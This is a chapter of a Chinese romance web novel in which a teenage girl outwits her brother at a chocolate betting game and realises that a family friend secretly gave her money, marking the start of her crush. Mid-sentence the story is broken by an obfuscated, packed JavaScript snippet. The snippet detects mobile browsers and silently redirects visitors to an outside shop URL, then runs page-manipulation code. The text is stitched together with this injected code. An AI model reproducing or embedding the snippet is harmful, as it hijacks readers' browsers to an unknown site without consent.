温宿好端端的,突然这么大方? 温宿一把抽走她捏在手里的一百块:“先拿来吧你。” 谢京韫在她旁边的椅子上坐下,姿态放松:“玩吧,我给你作证。” “好吧,”温淼掰着手指算,“一共二十颗,我只要安全拿走一颗就能回本,两颗就赚。” “没错,除非你运气就是这么背,第一颗就中彩。”温宿催促,“行了,闭眼吧,为了防止你说我耍赖,我会把选好的那颗炸弹指给谢京韫看,只有他知道。” 温淼从捂住眼睛的手指缝隙里偷瞄:“但他要是和你一伙怎么办……” 话没说完,一只温热干燥的手掌轻轻覆在了她的手背上,连带遮住了她偷看的缝隙。 眼前顿时一片黑暗。 谢京韫的声音从很近的斜上方传来,带着一丝无奈的调侃:“我在你眼里,就这点信誉?” “哥哥要偏心也应该是偏心你吧。” “……” 温淼耳根一热,不敢动了。 温宿刚拿完一瓶可乐回来,狐疑的看着两个人:“行了,选吧。再提醒你一遍,选到炸弹,前面赢的全归零,你那一百块入场券也没了。别到时候哭鼻子。” 温淼伸手小心地取走第一颗巧克力:“我才不哭,这个是炸弹吗?” “不是。不过下一颗不保证,你纠结好了和我说...” “哦。” 温淼低下头,语速飞快,“一百、两百、三百、四百、五百、六百、七百、八百、九百。” 短短十秒,她已经接连拿了九颗巧克力,加上第一颗,玻璃碗里正好十颗。 她把碗往前一推:“给我九百。” 动作之迅速果决,让旁边围观、本以为会有一番漫长心理拉锯的谢京韫都微微一愣。 “……?你选好了?” “这里面有炸弹吗?” “没有。” “那不就是了,给我钱。” 温宿喝可乐的动作停在半空,差点呛到,“这还有一半呢,不要了?” “不要了。” “下一颗两百也不要?” “不要。” “三百?四百?一千一颗,下一颗值一千。” 他话音刚落,温淼眼疾手快,又飞快地从托盘里拈了一颗扔进碗里。 “现在给我一千九百。”她伸出手,掌心向上。 “……” 正常来说,玩这种数字炸弹游戏,赌的就是人性里的贪心和侥幸。庄家稳坐钓鱼台,就等着玩家在逐级翻倍的诱惑下头脑发热,最终一把血本无归。眼看她接连得手,赢得干脆利落,温宿眯起眼睛,胜负欲被挑了起来。 “继续,现在一颗两千。” “不玩了。”温淼收回手,抱起玻璃碗,“你到时候耍赖不给我钱怎么办。” “我怎么可能不给,现在一颗四千。你玩不玩?” 他刚说完,温淼以迅雷不及掩耳之势,又挑了两颗巧克力放进碗里。 一直安静旁观的谢京韫适时开口,声音平静无波地提醒温宿:“你现在欠你妹九千九百块。” 温宿愣住,反应了几秒。 托盘里面只剩下七颗巧克力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091458|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。这意味着,炸弹还在剩下的七颗里,而温淼在价值攀升到一颗四千的时候,果断收手,带着巨额盈利安全撤离。 “一万一颗。” “不要。”温淼摇头,把巧克力碗护在怀里。 “你有七分之一的概率,可以直接赢走一万九千九。只要选走这一颗,就可以抵过前面的所有。” “那我还是不要。”温淼打了个小小的哈欠:“哥,你应该去看一下反诈视频。” “我本来只投入了一百,现在已经赚了这么多了,还要那些干什么?贪心不足蛇吞象。还是说你想要赖账,所以故意激我继续?” “……” 围观了后半程的向森终于忍不住笑出声,出来打圆场:“不会的,你哥肯定会给的。阿宿,是吧?” 于是,在全家四双眼睛下,温宿顶了一下后槽牙,接着回房间,拿出一个黑色皮夹,数出一千现金拍在桌上:“这里先给一千,剩下的明天去银行取了给你。” “你还真给我啊?”这下轮到温淼惊讶了,她以为温宿只是玩玩。 “我在你心里到底什么形象?”温宿站起来,从口袋里拿出一包烟:“本来是想用这个方式把九百块的耳机钱给你,我去抽根烟。” 没想到他自己玩上头,被个高中生拿走了这么多钱。 温淼正美滋滋地数着那十张红钞票,听到这话,动作突然顿住,抬起头:“什么耳机钱?你不是已经偷偷给了我一个信封吗?” 她指的是门口那个装着九百块的神秘信封。 “什么信封?我要给也不会偷偷给你,你想什么。” 温淼数钱的动作彻底停了。客厅只剩下她和谢京韫,一时间没人说话。 她慢慢地、慢慢地转过头,看向旁边椅子上的男人。 他表情依旧平静,指尖随意搭在膝上,倒不像是知情,但也没有多少意外的神色。 “怀疑我?” “我那是怀疑吗。” 一个模糊的猜想,伴随着加快的心跳,悄然浮上心头。 所以,给她钱的人是谢京韫。 “为什么要给我钱?我妈说不能随便收别人的钱,而且你赚钱也不容易。你等一下.....这里,九百块钱,给你。” 她把刚刚温宿给她的钱递出去。 谢京韫没接。 他第一次真正思考起来。是啊,为什么要给她?为什么在院子里聊完后,会在大半夜跑出去,辗转找到一家24小时自助银行,取出刚好九百块崭新的钞票,然后悄悄放在她门口? 是因为看见她哭了吗?是因为听到她为了那副耳机那么委屈,还是因为仅仅只是不想看见她那么难过? 或许都有,又或许,只是最简单的一种冲动——想让她好过一点。 他不愿意,也不舍得。不舍得让一个还没接触社会复杂的小姑娘,这么早就被迫独自咽下那份混杂着失望与自我怀疑的委屈。 那副耳机,对她而言大概不仅仅是一件物品,更象征着某种笨拙却真诚的付出,以及那份付出被轻慢对待后的难堪。 他只是想让她知道,她的心意并非石沉大海,她的在乎并非毫无价值。那些她小心翼翼捧出去的东西,是有人看见的。 谢京韫抬起眼,一只手撑着下巴。 “收到钱之后开心吗?” “开心。”温淼下意识回答。 “那就行了,你不是说,付出都是心甘情愿的吗?” 她的确是这么和谢京韫说过。 “可是….” 男人垂眼看她:“那就当我也是这样的吧。你让其他人开心,哥哥来让你开心。” 不是说她傻,是说让她开心。 “什么啊,怎么是这个理由。” 她低下头,看着地毯上的花纹,想起他接她回家,想起他随口一说“你只是忘记了自己也吃了很多苦”,想起那个悄悄放在她房间门口的九百块信封,想起他说要走了。 这个世界或许复杂喧嚣,但总有些东西是纯粹而珍贵的。原来真的会有这样一个人,不是为了从她这里索取什么,只是单纯地,想要守护住她身上那份在他看来珍贵的纯粹。 十七岁的夏天,雨水丰沛,离别在即。 所有朦胧的好感、心跳的瞬间、被珍视的温暖,都在这一刻汇聚、沉淀,变得清晰无比。 温淼突然确定,她的单恋,开始了。